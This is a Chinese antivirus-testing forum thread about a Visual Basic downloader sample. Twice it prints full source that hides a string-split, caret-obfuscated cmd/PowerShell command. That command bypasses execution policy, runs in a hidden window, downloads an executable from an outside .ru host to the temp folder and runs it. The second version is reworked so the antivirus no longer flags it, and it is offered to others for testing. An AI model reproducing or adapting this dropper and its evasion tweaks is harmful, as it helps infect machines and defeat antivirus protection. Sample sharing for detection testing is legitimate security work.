#VB #Downloader (2020-04-08)

显示全部楼层 · 发表于 2020-4-8 17:27:26

swizzer 发表于 2020-4-8 17:23
智量
入库杀Trojan.Generic

绝对是官人蹲点

，自己做的毒。。等会我改一下代码给你测测看

Private Sub Form_Load()
Dim ABT6rB, t78grT, GB7bf79, GB8htUY, OGgT3T9i, e57Vv8O, aiuGBU, oB8rv6, A6V68tf, adhn8u, asdinc8d, dun83qnrw, sadxby7, wdyxb7, as76rvew, qxyee4, afsruf, rn49q8xrn, mmmmm As String
ABT6rB = "cmd.e"
t78grT = "xe /c iwbDyExnfh"
GB7bf79 = "FHuWV & Po^"
GB8htUY = "wEr^sh^ell.e"
OGgT3T9i = "^Xe -execut"
e57Vv8O = "ionpolicy byp"
aiuGBU = "ass -nopro"
oB8rv6 = "file -w hidd"
A6V68tf = "en $v1='Net.W'; $v2='ebCli"
adhn8u = "ent'; $var = (New-O"
asdinc8d = "bject $v1$v2); $var.Hea"
dun83qnrw = "ders['User-Agent'] = 'Googl"
sadxby7 = "e Chrome'; $var.downloadfile('ht"
wdyxb7 = "tp://scprodu"
as76rvew = "cts7.ru/ava"
qxyee4 = "ilableupdatemanager/pop"
afsruf = "py.exe','%te"
rn49q8xrn = "mp%WHk58.ex"
mmmmm = "e'); & %temp%WHk58.exe & CXorbhFlHAGsKcP"
Shell ABT6rB + t78grT + GB7bf79 + GB8htUY + OGgT3T9i + e57Vv8O + aiuGBU + oB8rv6 + A6V68tf + adhn8u + asdinc8d + dun83qnrw + sadxby7 + wdyxb7 + as76rvew + qxyee4 + afsruf + rn49q8xrn + mmmmm
End
End Sub

复制代码

显示全部楼层 · 发表于 2020-4-8 17:28:03

QVM360 发表于 2020-4-8 17:27
绝对是官人蹲点，自己做的毒。。等会我改一下代码给你测测看

双击同样杀，我已经编辑

显示全部楼层 · 发表于 2020-4-8 17:32:28

QVM360 发表于 2020-4-8 17:27
绝对是官人蹲点，自己做的毒。。等会我改一下代码给你测测看

我这报错

显示全部楼层 · 发表于 2020-4-8 17:33:15

LSPD 发表于 2020-4-8 17:32
我这报错

.NET Framework装了没

显示全部楼层 · 发表于 2020-4-8 17:33:29

LSPD 发表于 2020-4-8 17:32
我这报错

运行库装全了吗？

我用win7虚拟机测的时候也会有这样的情况

显示全部楼层 · 发表于 2020-4-8 17:33:35

本帖最后由 QVM360 于 2020-4-8 17:34 编辑

swizzer 发表于 2020-4-8 17:28
双击同样杀，我已经编辑

改了下代码，你再试试看

Private Sub Form_Load()
Dim Chr1, t78grT, GB7bf79, GB8htUY, OGgT3T9i, e57Vv8O, aiuGBU, oB8rv6, A6V68tf, adhn8u, asdinc8d, dun83qnrw, sadxby7, wdyxb7, as76rvew, qxyee4, afsruf, rn49q8xrn, mmmmm As String
Chr1 = "cmd.e"
t78grT = "xe /c iwbDyExnfh"
GB7bf79 = "FHuWV & Po^"
GB8htUY = "wEr^sh^ell.e"
OGgT3T9i = "^Xe -execut"
e57Vv8O = "ionpolicy byp"
aiuGBU = "ass -nopro"
oB8rv6 = "file -w hidd"
A6V68tf = "en $v1='Net.W'; $v2='ebCli"
adhn8u = "ent'; $var = (New-O"
asdinc8d = "bject $v1$v2); $var.Hea"
dun83qnrw = "ders['User-Agent'] = 'Googl"
sadxby7 = "e Chrome'; $var.downloadfile('ht"
wdyxb7 = "tp://scprodu"
as76rvew = "cts7.ru/ava"
qxyee4 = "ilableupdatemanager/pop"
afsruf = "py.exe','%te"
rn49q8xrn = "mp%WHk58.ex"
Shell Chr1 + t78grT + GB7bf79 + GB8htUY + OGgT3T9i + e57Vv8O + aiuGBU + oB8rv6 + A6V68tf + adhn8u + asdinc8d + dun83qnrw + sadxby7 + wdyxb7 + as76rvew + qxyee4 + afsruf + rn49q8xrn + "e'); & %temp%WHk58.exe & CXorbhFlHAGsKcP"
End Sub

复制代码

显示全部楼层 · 发表于 2020-4-8 17:33:50

QVM360 发表于 2020-4-8 17:33
.NET Framework装了没

没有

显示全部楼层 · 发表于 2020-4-8 17:34:07

swizzer 发表于 2020-4-8 17:33
运行库装全了吗？

我用win7虚拟机测的时候也会有这样的情况

我去装一下

显示全部楼层 · 发表于 2020-4-8 17:36:05

QVM360 发表于 2020-4-8 17:33
改了下代码，你再试试看

我没有编译环境

你还是编译好再给我吧

显示全部楼层 · 发表于 2020-4-8 17:37:06

swizzer 发表于 2020-4-8 17:36
我没有编译环境你还是编译好再给我吧

有附件啊

[病毒样本] #VB #Downloader (2020-04-08)